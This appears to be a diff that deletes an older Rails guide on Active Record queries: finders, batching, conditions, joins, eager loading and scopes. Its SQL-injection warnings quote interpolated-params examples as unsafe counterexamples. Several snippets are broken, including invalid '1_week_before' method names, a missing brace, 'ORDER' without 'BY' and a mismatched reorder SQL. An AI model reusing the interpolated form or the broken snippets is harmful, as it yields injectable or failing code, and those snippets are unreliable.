-<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
-
-h5. +first+
-
-<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example:
-
-<ruby>
-client = Client.first
-# => #<Client id: 1, first_name: "Lifo">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients LIMIT 1
-</sql>
-
-<tt>Model.first</tt> returns +nil+ if no matching record is found. No exception will be raised.
-
-h5. +last+
-
-<tt>Model.last</tt> finds the last record matched by the supplied options. For example:
-
-<ruby>
-client = Client.last
-# => #<Client id: 221, first_name: "Russel">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
-
-<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised.
-
-h5(#first_1). +first!+
-
-<tt>Model.first!</tt> finds the first record. For example:
-
-<ruby>
-client = Client.first!
-# => #<Client id: 1, first_name: "Lifo">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients LIMIT 1
-</sql>
-
-<tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found.
-
-h5(#last_1). +last!+
-
-<tt>Model.last!</tt> finds the last record. For example:
-
-<ruby>
-client = Client.last!
-# => #<Client id: 221, first_name: "Russel">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
-
-<tt>Model.last!</tt> raises +RecordNotFound+ if no matching record is found.
-
-h4. Retrieving Multiple Objects
-
-h5. Using Multiple Primary Keys
-
-<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
-
-<ruby>
-# Find the clients with primary keys 1 and 10.
-client = Client.find([1, 10]) # Or even Client.find(1, 10)
-# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients WHERE (clients.id IN (1,10))
-</sql>
-
-WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
-
-h4. Retrieving Multiple Objects in Batches
-
-We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
-
-This may appear straightforward:
-
-<ruby>
-# This is very inefficient when the users table has thousands of rows.
-User.all.each do |user|
- NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
-
-Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
-
-TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
-
-h5. +find_each+
-
-The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
-
-<ruby>
-User.find_each do |user|
- NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-h6. Options for +find_each+
-
-The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+.
-
-Two additional options, +:batch_size+ and +:start+, are available as well.
-
-*+:batch_size+*
-
-The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
-
-<ruby>
-User.find_each(:batch_size => 5000) do |user|
- NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-*+:start+*
-
-By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
-
-For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
-
-<ruby>
-User.find_each(:start => 2000, :batch_size => 5000) do |user|
- NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker.
-
-NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
-
-h5. +find_in_batches+
-
-The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
-
-<ruby>
-# Give add_invoices an array of 1000 invoices at a time
-Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
- export.add_invoices(invoices)
-end
-</ruby>
-
-NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
-
-h6. Options for +find_in_batches+
-
-The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+.
-
-h3. Conditions
-
-The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
-
-h4. Pure String Conditions
-
-If you'd like to add conditions to your find, you could just specify them in there, just like +Client.where("orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
-
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.where("first_name LIKE '%#{params[:first_name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
-
-h4. Array Conditions
-
-Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
-
-<ruby>
-Client.where("orders_count = ?", params[:orders])
-</ruby>
-
-Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
-
-If you want to specify multiple conditions:
-
-<ruby>
-Client.where("orders_count = ? AND locked = ?", params[:orders], false)
-</ruby>
-
-In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
-
-This code is highly preferable:
-
-<ruby>
-Client.where("orders_count = ?", params[:orders])
-</ruby>
-
-to this code:
-
-<ruby>
-Client.where("orders_count = #{params[:orders]}")
-</ruby>
-
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
-
-TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
-
-h5. Placeholder Conditions
-
-Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
-
-<ruby>
-Client.where("created_at >= :start_date AND created_at <= :end_date",
- {:start_date => params[:start_date], :end_date => params[:end_date]})
-</ruby>
-
-This makes for clearer readability if you have a large number of variable conditions.
-
-h5(#array-range_conditions). Range Conditions
-
-If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
-
-<ruby>
-Client.where(:created_at => (params[:start_date].to_date)..(params[:end_date].to_date))
-</ruby>
-
-This query will generate something similar to the following SQL:
-
-<sql>
- SELECT "clients".* FROM "clients" WHERE ("clients"."created_at" BETWEEN '2010-09-29' AND '2010-11-30')
-</sql>
-
-h4. Hash Conditions
-
-Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
-
-NOTE: Only equality, range and subset checking are possible with Hash conditions.
-
-h5. Equality Conditions
-
-<ruby>
-Client.where(:locked => true)
-</ruby>
-
-The field name can also be a string:
-
-<ruby>
-Client.where('locked' => true)
-</ruby>
-
-h5(#hash-range_conditions). Range Conditions
-
-The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
-
-<ruby>
-Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
-</ruby>
-
-This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
-
-<sql>
-SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-</sql>
-
-This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
-
-h5. Subset Conditions
-
-If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
-
-<ruby>
-Client.where(:orders_count => [1,3,5])
-</ruby>
-
-This code will generate SQL like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
-</sql>
-
-h3. Ordering
-
-To retrieve records from the database in a specific order, you can use the +order+ method.
-
-For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
-
-<ruby>
-Client.order("created_at")
-</ruby>
-
-You could specify +ASC+ or +DESC+ as well:
-
-<ruby>
-Client.order("created_at DESC")
-# OR
-Client.order("created_at ASC")
-</ruby>
-
-Or ordering by multiple fields:
-
-<ruby>
-Client.order("orders_count ASC, created_at DESC")
-</ruby>
-
-h3. Selecting Specific Fields
-
-By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
-
-To select only a subset of fields from the result set, you can specify the subset via the +select+ method.
-
-NOTE: If the +select+ method is used, all the returning objects will be "read only":#readonly-objects.
-
-<br />
-
-For example, to select only +viewable_by+ and +locked+ columns:
-
-<ruby>
-Client.select("viewable_by, locked")
-</ruby>
-
-The SQL query used by this find call will be somewhat like:
-
-<sql>
-SELECT viewable_by, locked FROM clients
-</sql>
-
-Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
-
-<shell>
-ActiveModel::MissingAttributeError: missing attribute: <attribute>
-</shell>
-
-Where +&lt;attribute&gt;+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
-
-You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this:
-
-<ruby>
-Client.select("DISTINCT(name)")
-</ruby>
-
-h3. Limit and Offset
-
-To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +limit+ and +offset+ methods on the relation.
-
-You can use +limit+ to specify the number of records to be retrieved, and use +offset+ to specify the number of records to skip before starting to return the records. For example
-
-<ruby>
-Client.limit(5)
-</ruby>
-
-will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
-
-<sql>
-SELECT * FROM clients LIMIT 5
-</sql>
-
-Adding +offset+ to that
-
-<ruby>
-Client.limit(5).offset(30)
-</ruby>
-
-will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
-
-<sql>
-SELECT * FROM clients LIMIT 5 OFFSET 30
-</sql>
-
-h3. Group
-
-To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the +group+ method on the find.
-
-For example, if you want to find a collection of the dates orders were created on:
-
-<ruby>
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
-</ruby>
-
-And this will give you a single +Order+ object for each date where there are orders in the database.
-
-The SQL that would be executed would be something like this:
-
-<sql>
-SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at)
-</sql>
-
-h3. Having
-
-SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can add the +HAVING+ clause to the SQL fired by the +Model.find+ by adding the +:having+ option to the find.
-
-For example:
-
-<ruby>
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
-</ruby>
-
-The SQL that would be executed would be something like this:
-
-<sql>
-SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) HAVING sum(price) > 100
-</sql>
-
-This will return single order objects for each day, but only those that are ordered more than $100 in a day.
-
-h3. Overriding Conditions
-
-h4. +except+
-
-You can specify certain conditions to be excepted by using the +except+ method. For example:
-
-<ruby>
-Post.where('id > 10').limit(20).order('id asc').except(:order)
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM posts WHERE id > 10 LIMIT 20
-</sql>
-
-h4. +only+
-
-You can also override conditions using the +only+ method. For example:
-
-<ruby>
-Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
-</sql>
-
-h4. +reorder+
-
-The +reorder+ method overrides the default scope order. For example:
-
-<ruby>
-class Post < ActiveRecord::Base
- ..
- ..
- has_many :comments, :order => 'posted_at DESC'
-end
-
-Post.find(10).comments.reorder('name')
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM posts WHERE id = 10 ORDER BY name
-</sql>
-
-In case the +reorder+ clause is not used, the SQL executed would be:
-
-<sql>
-SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
-</sql>
-
-h4. +reverse_order+
-
-The +reverse_order+ method reverses the ordering clause if specified.
-
-<ruby>
-Client.where("orders_count > 10").order(:name).reverse_order
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
-</sql>
-
-If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order.
-
-<ruby>
-Client.where("orders_count > 10").reverse_order
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
-</sql>
-
-This method accepts *no* arguments.
-
-h3. Readonly Objects
-
-Active Record provides +readonly+ method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception.
-
-<ruby>
-client = Client.readonly.first
-client.visits += 1
-client.save
-</ruby>
-
-As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_.
-
-h3. Locking Records for Update
-
-Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
-
-Active Record provides two locking mechanisms:
-
-* Optimistic Locking
-* Pessimistic Locking
-
-h4. Optimistic Locking
-
-Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
-
-<strong>Optimistic locking column</strong>
-
-In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column. If an update request is made with a lower value in the +lock_version+ field than is currently in the +lock_version+ column in the database, the update request will fail with an +ActiveRecord::StaleObjectError+. Example:
-
-<ruby>
-c1 = Client.find(1)
-c2 = Client.find(1)
-
-c1.first_name = "Michael"
-c1.save
-
-c2.name = "should fail"
-c2.save # Raises an ActiveRecord::StaleObjectError
-</ruby>
-
-You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
-
-NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
-
-This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
-
-To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
-
-<ruby>
-class Client < ActiveRecord::Base
- set_locking_column :lock_client_column
-end
-</ruby>
-
-h4. Pessimistic Locking
-
-Pessimistic locking uses a locking mechanism provided by the underlying database. Using +lock+ when building a relation obtains an exclusive lock on the selected rows. Relations using +lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
-
-For example:
-
-<ruby>
-Item.transaction do
- i = Item.lock.first
- i.name = 'Jones'
- i.save
-end
-</ruby>
-
-The above session produces the following SQL for a MySQL backend:
-
-<sql>
-SQL (0.2ms) BEGIN
-Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE
-Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
-SQL (0.8ms) COMMIT
-</sql>
-
-You can also pass raw SQL to the +lock+ method for allowing different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
-
-<ruby>
-Item.transaction do
- i = Item.lock("LOCK IN SHARE MODE").find(1)
- i.increment!(:views)
-end
-</ruby>
-
-h3. Joining Tables
-
-Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method.
-
-h4. Using a String SQL Fragment
-
-You can just supply the raw SQL specifying the +JOIN+ clause to +joins+:
-
-<ruby>
-Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
-</ruby>
-
-This will result in the following SQL:
-
-<sql>
-SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
-</sql>
-
-h4. Using Array/Hash of Named Associations
-
-WARNING: This method only works with +INNER JOIN+.
-
-Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying +JOIN+ clause for those associations when using the +joins+ method.
-
-For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
-
-<ruby>
-class Category < ActiveRecord::Base
- has_many :posts
-end
-
-class Post < ActiveRecord::Base
- belongs_to :category
- has_many :comments
- has_many :tags
-end
-
-class Comment < ActiveRecord::Base
- belongs_to :post
- has_one :guest
-end
-
-class Guest < ActiveRecord::Base
- belongs_to :comment
-end
-
-class Tag < ActiveRecord::Base
- belongs_to :post
-end
-</ruby>
-
-Now all of the following will produce the expected join queries using +INNER JOIN+:
-
-h5. Joining a Single Association
-
-<ruby>
-Category.joins(:posts)
-</ruby>
-
-This produces:
-
-<sql>
-SELECT categories.* FROM categories
- INNER JOIN posts ON posts.category_id = categories.id
-</sql>
-
-Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)").
-
-h5. Joining Multiple Associations
-
-<ruby>
-Post.joins(:category, :comments)
-</ruby>
-
-This produces:
-
-<sql>
-SELECT posts.* FROM posts
- INNER JOIN categories ON posts.category_id = categories.id
- INNER JOIN comments ON comments.post_id = posts.id
-</sql>
-
-Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
-
-h5. Joining Nested Associations (Single Level)
-
-<ruby>
-Post.joins(:comments => :guest)
-</ruby>
-
-This produces:
-
-<sql>
-SELECT posts.* FROM posts
- INNER JOIN comments ON comments.post_id = posts.id
- INNER JOIN guests ON guests.comment_id = comments.id
-</sql>
-
-Or, in English: "return all posts that have a comment made by a guest."
-
-h5. Joining Nested Associations (Multiple Level)
-
-<ruby>
-Category.joins(:posts => [{:comments => :guest}, :tags])
-</ruby>
-
-This produces:
-
-<sql>
-SELECT categories.* FROM categories
- INNER JOIN posts ON posts.category_id = categories.id
- INNER JOIN comments ON comments.post_id = posts.id
- INNER JOIN guests ON guests.comment_id = comments.id
- INNER JOIN tags ON tags.post_id = posts.id
-</sql>
-
-h4. Specifying Conditions on the Joined Tables
-
-You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
-
-<ruby>
-time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where('orders.created_at' => time_range)
-</ruby>
-
-An alternative and cleaner syntax is to nest the hash conditions:
-
-<ruby>
-time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where(:orders => {:created_at => time_range})
-</ruby>
-
-This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
-
-h3. Eager Loading Associations
-
-Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
-
-<strong>N <plus> 1 queries problem</strong>
-
-Consider the following code, which finds 10 clients and prints their postcodes:
-
-<ruby>
-clients = Client.limit(10)
-
-clients.each do |client|
- puts client.address.postcode
-end
-</ruby>
-
-This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
-
-<strong>Solution to N <plus> 1 queries problem</strong>
-
-Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the +includes+ method of the +Model.find+ call. With +includes+, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
-
-Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses:
-
-<ruby>
-clients = Client.includes(:address).limit(10)
-
-clients.each do |client|
- puts client.address.postcode
-end
-</ruby>
-
-The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
-
-<sql>
-SELECT * FROM clients LIMIT 10
-SELECT addresses.* FROM addresses
- WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
-</sql>
-
-h4. Eager Loading Multiple Associations
-
-Active Record lets you eager load any number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +includes+ method.
-
-h5. Array of Multiple Associations
-
-<ruby>
-Post.includes(:category, :comments)
-</ruby>
-
-This loads all the posts and the associated category and comments for each post.
-
-h5. Nested Associations Hash
-
-<ruby>
-Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
-</ruby>
-
-This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
-
-h4. Specifying Conditions on Eager Loaded Associations
-
-Even though Active Record lets you specify conditions on the eager loaded associations just like +joins+, the recommended way is to use "joins":#joining-tables instead.
-
-However if you must do this, you may use +where+ as you would normally.
-
-<ruby>
-Post.includes(:comments).where("comments.visible", true)
-</ruby>
-
-This would generate a query which contains a +LEFT OUTER JOIN+ whereas the +joins+ method would generate one using the +INNER JOIN+ function instead.
-
-<ruby>
- SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
-</ruby>
-
-If there was no +where+ condition, this would generate the normal set of two queries.
-
-If, in the case of this +includes+ query, there were no comments for any posts, all the posts would still be loaded. By using +joins+ (an INNER JOIN), the join conditions *must* match, otherwise no records will be returned.
-
-h3. Scopes
-
-Scoping allows you to specify commonly-used ARel queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as +where+, +joins+ and +includes+. All scope methods will return an +ActiveRecord::Relation+ object which will allow for further methods (such as other scopes) to be called on it.
-
-To define a simple scope, we use the +scope+ method inside the class, passing the ARel query that we'd like run when this scope is called:
-
-<ruby>
-class Post < ActiveRecord::Base
- scope :published, where(:published => true)
-end
-</ruby>
-
-Just like before, these methods are also chainable:
-
-<ruby>
-class Post < ActiveRecord::Base
- scope :published, where(:published => true).joins(:category)
-end
-</ruby>
-
-Scopes are also chainable within scopes:
-
-<ruby>
-class Post < ActiveRecord::Base
- scope :published, where(:published => true)
- scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
-end
-</ruby>
-
-To call this +published+ scope we can call it on either the class:
-
-<ruby>
-Post.published # => [published posts]
-</ruby>
-
-Or on an association consisting of +Post+ objects:
-
-<ruby>
-category = Category.first
-category.posts.published # => [published posts belonging to this category]
-</ruby>
-
-h4. Working with times
-
-If you're working with dates or times within scopes, due to how they are evaluated, you will need to use a lambda so that the scope is evaluated every time.
-
-<ruby>
-class Post < ActiveRecord::Base
- scope :last_week, lambda { where("created_at < ?", Time.zone.now ) }
-end
-</ruby>
-
-Without the +lambda+, this +Time.zone.now+ will only be called once.
-
-h4. Passing in arguments
-
-When a +lambda+ is used for a +scope+, it can take arguments:
-
-<ruby>
-class Post < ActiveRecord::Base
- scope :1_week_before, lambda { |time| where("created_at < ?", time)
-end
-</ruby>
-
-This may then be called using this:
-
-<ruby>
-Post.1_week_before(Time.zone.now)
-</ruby>
-
-However, this is just duplicating the functionality that would be provided to you by a class method.
-
-<ruby>
-class Post < ActiveRecord::Base
- def self.1_week_before(time)
- where("created_at < ?", time)
- end
-end
-</ruby>
-
-Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
-
-<ruby>
-category.posts.1_week_before(time)
-</ruby>
-
-h4. Working with scopes
-
-Where a relational object is required, the +scoped+ method may come in handy. This will return an +ActiveRecord::Relation+ object which can have further scoping applied to it afterwards. A place where this may come in handy is on associations
-
-<ruby>
-client = Client.find_by_first_name("Ryan")
-orders = client.orders.scoped
-</ruby>
-
-With this new +orders+ object, we are able to ascertain that this object can have more scopes applied to it. For instance, if we wanted to return orders only in the last 30 days at a later point.
-
-<ruby>
-orders.where("created_at > ?", 30.days.ago)
-</ruby>
-
-h4. Applying a default scope
-
-If we wish for a scope to be applied across all queries to the model we can use the +default_scope+ method within the model itself.
-
-<ruby>
-class Client < ActiveRecord::Base
- default_scope where("removed_at IS NULL")
-end
-</ruby>
-
-When queries are executed on this model, the SQL query will now look something like this:
-
-<sql>
-SELECT * FROM clients WHERE removed_at IS NULL
-</sql>
-
-h4. Removing all scoping
-
-If we wish to remove scoping for any reason we can use the +unscoped+ method. This is especially useful if a +default_scope+ is specified in the model and should not be applied for this particular query.
-
-<ruby>
-Client.unscoped.all
-</ruby>
-
-This method removes all scoping and will do a normal query on the table.
-
-h3. Dynamic Finders
-
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods.
-
-You can also use +find_last_by_*+ methods which will find the last record matching your argument.
-
-You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
-
-If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+.
-
-WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+.
-
-h3. Find or build a new object
-
-It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods.
-
-h4. +first_or_create+
-
-The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example.
-
-Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running:
-
-<ruby>
-Client.where(:first_name => 'Andy').first_or_create(:locked => false)
-# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
-</ruby>
-
-The SQL generated by this method looks like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
-BEGIN
-INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
-COMMIT
-</sql>
-
-+first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
-
-The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+).
-
-It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method.
-
-You can do the same with the +find_or_create_by+ method:
-
-<ruby>
-Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
-</ruby>
-
-This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
-
-h4. +first_or_create!+
-
-You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
-
-<ruby>
-validates :orders_count, :presence => true
-</ruby>
-
-to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised:
-
-<ruby>
-Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
-# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
-</ruby>
-
-h4. +first_or_initialize+
-
-The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
-
-<ruby>
-nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
-# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
-
-nick.persisted?
-# => false
-
-nick.new_record?
-# => true
-</ruby>
-
-Because the object is not yet stored in the database, the SQL generated looks like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
-</sql>
-
-When you want to save it to the database, just call +save+:
-
-<ruby>
-nick.save
-# => true
-</ruby>
-
-h3. Finding by SQL
-
-If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
-
-<ruby>
-Client.find_by_sql("SELECT * FROM clients
- INNER JOIN orders ON clients.id = orders.client_id
- ORDER clients.created_at desc")
